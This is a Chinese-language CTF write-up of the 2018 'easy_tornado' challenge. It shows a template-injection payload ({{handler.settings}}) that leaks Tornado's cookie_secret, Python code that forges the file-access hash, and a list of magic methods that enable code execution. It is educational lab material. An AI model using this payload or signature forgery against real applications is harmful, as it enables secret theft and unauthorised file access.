CTF题目《easy_tornado》(护网杯 2018)Write Up
题目背景与信息收集
-
初始访问
题目提供三个文件链接:/flag.txt
:提示flag位于/fllllllllllllag
文件/welcome.txt
:关键词render
,暗示模板渲染漏洞(SSTI)/hints.txt
:提示签名算法md5(cookie_secret+md5(filename))
访问文件的URL格式为:
/file?filename=<文件名>&filehash=<哈希值>
需通过计算正确的
filehash
才能读取目标文件。
漏洞利用:SSTI获取cookie_secret
-
发现注入点
当尝试访问不存在的文件或错误的filehash
时,页面跳转至/error?msg=Error
。修改msg
参数测试模板注入:?msg={{1}}
返回1
,确认存在模板注入。- 尝试表达式如
{{1+1}}
被过滤,但{{2^2}}
返回0
,说明存在符号限制但可通过其他方式绕过。
-
读取cookie_secret
Tornado框架中,handler.settings
指向RequestHandler.application.settings
,其中包含服务端配置的cookie_secret
。构造Payload:/error?msg={{handler.settings}}
返回结果中提取
cookie_secret
值(如0ba42242-675d-4d06-b829-f529ad5a5558
)。
计算filehash并构造flag访问链接
-
计算流程
根据提示md5(cookie_secret+md5(filename))
,具体步骤:- 计算文件名
/fllllllllllllag
的MD5:hashlib.md5("/fllllllllllllag".encode()).hexdigest() # 示例:3bf9f6cf685a6dd8defadabfb41a03a1
- 拼接
cookie_secret
与上述结果,再次计算MD5:cookie_secret = "0ba42242-675d-4d06-b829-f529ad5a5558" combined = cookie_secret + md5_filename final_hash = hashlib.md5(combined.encode()).hexdigest() # 示例:dddaf12e2f65d9490dac30a26598414b
- 计算文件名
-
最终请求
构造URL访问flag文件:/file?filename=/fllllllllllllag&filehash=dddaf12e2f65d9490dac30a26598414b
页面返回flag:
flag{7178302c-d8e3-4b4b-88f7-6e4c7dd41de9}
关键技术点解析
-
Tornado框架特性 (参考:漏洞知识点《Tornado框架中的SSTI漏洞深度解析》)
handler.settings
是Tornado的全局配置对象,存储敏感信息如cookie_secret
。render
函数未严格过滤用户输入,导致SSTI漏洞。
-
防御与绕过
- 符号过滤限制算术操作,但通过直接访问框架内置对象绕过限制。
- 需熟悉Tornado模板语法及内置变量,利用环境配置泄露敏感数据。
魔术方法:
在一些模板引擎中,存在一些用于访问对象属性和方法的魔术方法,可利用这些魔术方法构造SSTI漏洞。详细见我的文章小科普《常见魔术方法》以及漏洞知识点《Tornado框架中RequestHandler的对象》。
1. __class__:通过该魔术方法,攻击者可以获取目标对象的类名并进行操作。
2. __bases__:该魔术方法返回目标对象所在类的所有父类的元组,
并且攻击者可以根据这些信息来构造恶意代码。
3. __subclasses__():该魔术方法返回目标对象的所有子类,
并且攻击者可以根据这些信息来构造恶意代码。
4. __globals__:该魔术方法返回当前作用域中的所有全局变量,
并且攻击者可以利用这些变量来执行恶意代码。
5. __import__():该魔术方法用于动态加载模块,
并且攻击者可以利用这个方法来执行任意代码。
Tornado模板:
在 Tornado 中,Handler 是处理请求的核心。通过继承 tornado.web.RequestHandler 类,可以定义处理 HTTP 请求的逻辑。主要方法如 get()、post()、write() 和 render() 使得在 web 应用中处理请求和响应变得简单。同时,路由的配置和请求参数的处理也提供了灵活和强大的功能。
handler.settings
例子:
def make_app():
settings = {
"template_path": os.path.join(os.path.dirname(__file__), "templates"),
"static_path": os.path.join(os.path.dirname(__file__), "static"),
"debug": True,
"cookie_secret": os.urandom(32),
"xsrf_cookies": True,
"login_url": "/login",
"default_handler_class": ErrorHandler,
}
return tornado.web.Application([
(r"/", MainHandler),
], **settings)
可以通过传入变量{{handler.settings}}
获取配置设置